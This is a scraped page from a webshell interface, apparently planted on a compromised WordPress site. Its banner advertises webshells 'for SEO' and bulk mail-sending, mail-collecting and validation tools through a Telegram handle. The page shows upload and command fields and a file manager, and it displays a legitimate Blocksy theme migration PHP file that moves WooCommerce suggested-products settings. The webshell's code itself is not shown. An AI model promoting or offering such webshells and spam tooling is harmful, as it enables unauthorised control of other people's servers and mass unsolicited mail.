__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

namespace Blocksy\DbVersioning;

class V2087 {
	public function migrate() {
		$this->enable_extensions();
	}

	public function enable_extensions() {
		if (
			! function_exists('wc_get_attribute_taxonomies')
			||
			! class_exists('\Blocksy\Plugin')
			||
			! in_array(
				'woocommerce-extra',
				get_option('blocksy_active_extensions', [])
			)
		) {
			return;
		}

		if (! class_exists('\Blocksy\Extensions\WoocommerceExtra\Storage')) {
			return;
		}

		$storage = new \Blocksy\Extensions\WoocommerceExtra\Storage();
		$settings = $storage->get_settings();

		if (
			! isset($settings['features']['added-to-cart-popup'])
			||
			! $settings['features']['added-to-cart-popup']
		) {
			return;
		}

		if (
			get_theme_mod(
				'cart_popup_suggested_products',
				'__empty__'
			) !== '__empty__'
			||
			get_theme_mod('added_to_cart_popup_suggested_products', 'yes') === 'no'
		) {
			return;
		}
		
		$settings = update_option(
			'blocksy_ext_woocommerce_extra_settings',
			array_merge(
				$settings,
				[
					'features' => array_merge(
						$settings['features'],
						[
							'suggested-products' => true
						]
					)
				]
			)
		);

		remove_theme_mod('added_to_cart_popup_suggested_products');

		set_theme_mod('checkout_suggested_products', 'no');
		set_theme_mod('mini_cart_suggested_products', 'no');

		$migrate_options = [
			'suggested_products_visibility',
			'suggested_products_title_font',
			'suggested_products_title_color',
			'suggested_products_price_font',
			'suggested_products_price_color',
		];

		$theme_mods = [
			'suggested_products_source' => 'added_to_cart_popup_products_source',
			'suggested_products_columns' => 'added_to_cart_popup_products_columns',
			'suggested_products_number_of_items' => 'added_to_cart_popup_products_number_of_items',
			'suggested_products_type' => 'added_to_cart_popup_products_type',
			'suggested_products_autoplay_speed' => 'added_to_cart_popup_products_autoplay_speed',
		];

		$all_options = array_merge($theme_mods, array_combine($migrate_options, $migrate_options));

		foreach ($all_options as $key => $mod) {
			$value = get_theme_mod($mod, '__empty__');

			if ($value !== '__empty__') {
				remove_theme_mod($mod);

				$new_key = "cart_popup_$key";
				set_theme_mod($new_key, $value);
			}
		}

		blocksy_manager()->db->wipe_cache();
	}
}

Filemanager

Name Type Size Permission Actions
utils Folder 0750
v2-0-0.php File 12.28 KB 0640
v2-0-15.php File 1.19 KB 0640
v2-0-19.php File 1.13 KB 0640
v2-0-2.php File 1.24 KB 0640
v2-0-26.php File 230 B 0640
v2-0-27.php File 205 B 0640
v2-0-3.php File 759 B 0640
v2-0-31.php File 3.46 KB 0640
v2-0-34.php File 778 B 0640
v2-0-36.php File 1.28 KB 0640
v2-0-38.php File 1.35 KB 0640
v2-0-53.php File 632 B 0640
v2-0-60.php File 338 B 0640
v2-0-67.php File 698 B 0640
v2-0-70.php File 179 B 0640
v2-0-72.php File 2.88 KB 0640
v2-0-73.php File 1.2 KB 0640
v2-0-74.php File 347 B 0640
v2-0-75.php File 458 B 0640
v2-0-76.php File 2.21 KB 0640
v2-0-87.php File 2.29 KB 0640
v2-0-9.php File 2.19 KB 0640
v2-0-92.php File 2.38 KB 0640
v2-0-93.php File 745 B 0640
v2-0-94.php File 1005 B 0640
v2-0-96.php File 2.61 KB 0640
v2-1-0.php File 1.41 KB 0640
v2-1-1.php File 1.3 KB 0640
Filemanager